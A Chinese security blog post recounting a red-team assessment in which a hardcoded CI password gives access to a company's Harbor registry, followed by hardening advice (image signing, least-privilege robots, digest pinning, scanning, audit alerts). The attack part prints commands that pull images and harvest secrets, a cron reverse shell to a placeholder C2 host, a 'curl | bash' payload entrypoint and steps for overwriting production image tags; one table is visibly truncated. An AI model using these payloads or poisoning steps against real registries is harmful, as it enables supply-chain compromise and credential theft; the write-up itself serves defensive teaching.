一个未授权的Harbor,我拿到了整条生产线的容器镜像:云上供应链攻击实战
云安全攻防实战系列 · 第2篇
上一篇我们聊了云IAM权限滥用的横向移动,这次换个方向——不讲如何逃逸,不讲怎么打IAM,今天聊一条大多数安全团队容易忽视的攻击面:容器镜像供应链。
去年年底,我给某电商平台做了一次红队评估。
目标很硬:外网只有几个API端点,全站HTTPS,WAF配置到位,主机安全Agent全覆盖,内网分了大大小小二十几个VPC,还有云防火墙——看起来该做的都做了。
但我在他们的GitLab里翻到了一个不起眼的.gitlab-ci.yml文件,里面硬编码了一个Harbor仓库的密码。
这条密码成为撬动整个生产环境的支点。
一、为什么镜像仓库是攻击者的金矿
很多团队把精力放在K8s集群本身的加固上——RBAC配了,Pod安全策略设了,网络策略限制了。但很少有人想过一个问题:
你跑在集群里的每一个镜像,在运行之前都经过了多少人的手?
一个典型的云原生部署链路是这样的:
开发者 → Git仓库 → CI/CD流水线 → 镜像仓库 → K8s集群 → 生产环境
绝大多数安全团队在"K8s集群"这个环节布下了重兵,但在"镜像仓库"到"K8s集群"这一段,防御几乎是真空的。
攻击者一旦拿下了镜像仓库,能干的事远不止偷代码这么简单:
攻击手法描述危害级别镜像源码窃取下载所有镜像层,提取业务代码和配置⭐⭐⭐最可怕的是最后两种——不需要你主动拉取恶意镜像,正常拉取的动作本身就是攻击链的一部分。
二、发现并利用未授权的Harbor实例
第一步:从CI文件找到入口
回到那次评估。GitLab上翻CI配置是我的常规操作,通常能在环境变量或配置文件里找到各种惊喜。
# .gitlab-ci.yml 片段
build-image:
stage: build
script:
- docker login harbor.internal.company.com -u ci_robot -p 'Harbor12345'
- docker build -t harbor.internal.company.com/production/app:$CI_COMMIT_SHA .
- docker push harbor.internal.company.com/production/app:$CI_COMMIT_SHA
明文密码 Harbor12345,用户名 ci_robot——真就一点没藏着。
第二步:探测仓库权限
拿到凭证后,我先不急着下载,而是先看看这个 ci_robot 账号到底有多大权限。
# 查看仓库列表
curl -s -u "ci_robot:Harbor12345" \
"https://harbor.internal.company.com/api/v2.0/projects" | jq .
# 输出显示该账号对 production、staging、base-images 三个项目有 push/pull 权限
很好,不是只读的robot账号,居然有push权限。这种配置错误非常典型——CI用的robot账号为了"方便调试",给了远超所需的最小权限。
我接下来用Skopeo列出所有可访问的镜像:
# 用 skopeo 列出仓库内容(比docker CLI更灵活)
skopeo list-tags \
--tls-verify=false \
--creds ci_robot:Harbor12345 \
docker://harbor.internal.company.com/production
# 输出显示有 40+ 个镜像标签
# 包括 app:latest, app:v2.3.1, gateway:latest, user-service:1.0.0 ...
第三步:翻找硬编码凭证
第一个目标:app:latest——这是生产环境当前运行的版本。
# 拉取并解包镜像层
skopeo copy \
--tls-verify=false \
--creds ci_robot:Harbor12345 \
docker://harbor.internal.company.com/production/app:latest \
docker-archive:./app-latest.tar
# 解压查看每一层
mkdir app-layers && cd app-layers
tar xf ../app-latest.tar
for layer in *.tar; do
echo "=== 检查层: $layer ==="
tar tf "$layer" | grep -iE '(password|secret|key|token|credential|\.env|config\.)'
done
结果在不到30秒内,我找到了三组硬编码凭证:
- application.yml 里明文写的RDS连接密码(生产库)
- .env 文件里的阿里云AccessKey和SecretKey
- redis.conf 里的Redis密码(这台Redis居然没有IP白名单)
很多开发者觉得"镜像只存在我们仓库里,别人看不到"——这种想法本身就是最大的漏洞。
三、从凭据窃取到供应链投毒
拿到RDS密码后,按传统路径我直接登录数据库就完事了。但这次我还有一个更大胆的计划——供应链投毒。
方案A:直接在基础镜像中埋后门
查看 base-images 项目,这是一个存放所有基础镜像的仓库,包括 openjdk:11-jre-slim-custom、nginx-custom、python:3.9-slim-custom 等。
# 查看 base-images 项目中的镜像
curl -s -u "ci_robot:Harbor12345" \
"https://harbor.internal.company.com/api/v2.0/projects/base-images/repositories" | jq -r '.[].name'
这些自定义基础镜像被production目录下至少一半的服务引用。如果我替换其中一个:
# 原始基础镜像 dockerfile
FROM openjdk:11-jre-slim
RUN apt-get update && apt-get install -y curl
# 后门版本:植入反向Shell
FROM openjdk:11-jre-slim
RUN apt-get update && apt-get install -y curl
# 添加一个定期执行的反向连接任务
RUN echo "*/5 * * * * root bash -c 'exec bash -i &>/dev/tcp/attacker-c2.com/4444<&1'" > /etc/cron.d/evil
但是这个方案有个问题——重新打tag覆盖会触发Harbor的webhook通知,如果对方配置了镜像扫描或审计告警,很容易被发现。
方案B:利用镜像标签覆盖(更隐蔽)
我选择了更隐蔽的做法:不修改镜像内容,而是直接利用CI流程的缺陷触发重新构建。
研究了一下他们的CI流水线,发现 latest 标签并不是通过Git Tag触发的,而是每次main分支有新的合并请求,CI都会重新构建并推送 latest 标签。
这意味着,我只需要在GitLab上提一个看似无害的MR,在里面加一段"合法"的构建脚本,就能让CI自动把带着后门的镜像推送到生产仓库。
# 看起来人畜无害的代码改动:增加一个监控脚本
# 实际作用是:在容器启动时向C2服务器报告存活状态
# 在 Dockerfile 中添加
COPY monitor.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/monitor.sh
# monitor.sh 实际内容:curl http://c2-server/beacon?pod=$(hostname)
方案C:直接篡改已存在的镜像(最激进)
Harbor默认不启用镜像签名验证(Notary/Distribution)。我可以用 docker push 直接覆盖已存在的镜像标签:
# 拉取生产镜像
docker pull harbor.internal.company.com/production/gateway:v3.1.2
# 在本地做修改——注入反弹shell
docker commit --change='ENTRYPOINT ["/bin/bash", "-c", "curl http://c2/payload | bash &; exec /entrypoint.sh"]' \
$(docker run -d gateway:v3.1.2 sleep 1) \
harbor.internal.company.com/production/gateway:v3.1.2-trojaned
# 推送并覆盖原标签
docker push harbor.internal.company.com/production/gateway:v3.1.2-trojaned
# 重新打标签为原始版本号
docker tag harbor.internal.company.com/production/gateway:v3.1.2-trojaned \
harbor.internal.company.com/production/gateway:v3.1.2
# 强制推送覆盖
docker push harbor.internal.company.com/production/gateway:v3.1.2
这种方式最致命——下次Pod滚动更新或重建时,K8s会自动拉取被篡改的"v3.1.2"镜像。没有镜像摘要(Pinning by digest)的环境,根本无法察觉到变化。
四、防御方案:你不能相信你不知道的东西
事情做完了,回到蓝军视角。如果我是被攻击的一方,该怎么防?
1. 启用镜像签名验证
Harbor支持Cosign和Notation集成,K8s侧可以用 admission controller 校验签名:
# 使用 Cosign 对镜像签名
COSIGN_PASSWORD=xxx cosign sign \
--key cosign.key \
harbor.internal.company.com/production/app:v3.1.2
# 在K8s中验证
apiVersion: cosigned.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
name: image-signature-policy
spec:
images:
- glob: "harbor.internal.company.com/production/*"
authorities:
- key:
data: |
-----BEGIN PUBLIC KEY-----
...
2. CI Robot账号遵循最小权限原则
# Harbor API:创建项目级别的只读 robot 账号
curl -X POST "https://harbor.internal.company.com/api/v2.0/robots" \
-u "admin:password" \
-H "Content-Type: application/json" \
-d '{
"name": "build-pull-only",
"duration": -1,
"level": "project",
"permissions": [{
"kind": "project",
"namespace": "production",
"access": [
{"resource": "repository", "action": "pull"},
{"resource": "artifact", "action": "read"}
]
}]
}'
3. 镜像拉取使用Digest而非标签
这是最有效也最简单的防御——不要在Deployment里使用 :latest 或 :v3.1.2 这种可变标签,改用不可变的镜像摘要:
# ❌ 危险的做法
image: harbor.internal.company.com/production/app:latest
# ✅ 安全的做法
image: harbor.internal.company.com/production/app@sha256:a1b2c3d4e5f6...
4. 启用镜像漏洞扫描和策略拦截
Harbor内置了Trivy扫描器,可以配置扫描策略——发现Critical漏洞时阻止部署:
# Harbor API:配置扫描策略
curl -X PUT "https://harbor.internal.company.com/api/v2.0/projects/production" \
-u "admin:password" \
-H "Content-Type: application/json" \
-d '{
"auto_scan": true,
"scan_policy": {
"severity_threshold": "high",
"block_on_vul": true
}
}'
5. 审计与告警
Harbor的审计日志记录了每一次push和pull操作。配置实时告警,当以下情况发生时立即通知安全团队:
- 已有镜像标签被覆盖/重写
- 非工作时间的大批量镜像拉取
- 来自未授权IP的镜像push操作
写在最后
这次评估最终以红队获胜告终——我们在不用打任何API漏洞的情况下,通过镜像供应链进入了对方的生产网络。对方的安全负责人看到报告后沉默了很久,说了一句让我印象很深的话:
"我们花了几百万加固集群,结果一个CI脚本里的明文密码全给废了。"
容器安全不只是K8s集群本身的安全,也不是每个工作负载里跑个Agent就完事了。从代码提交到镜像部署的整条供应链,每一环都可能是突破口。 你的容器是最安全还是最脆弱,取决于你信任了多少不应该被信任的东西。
关注「安全值班室」公众号
每天实战攻防案例 + 安全干货

浙公网安备 33010602011771号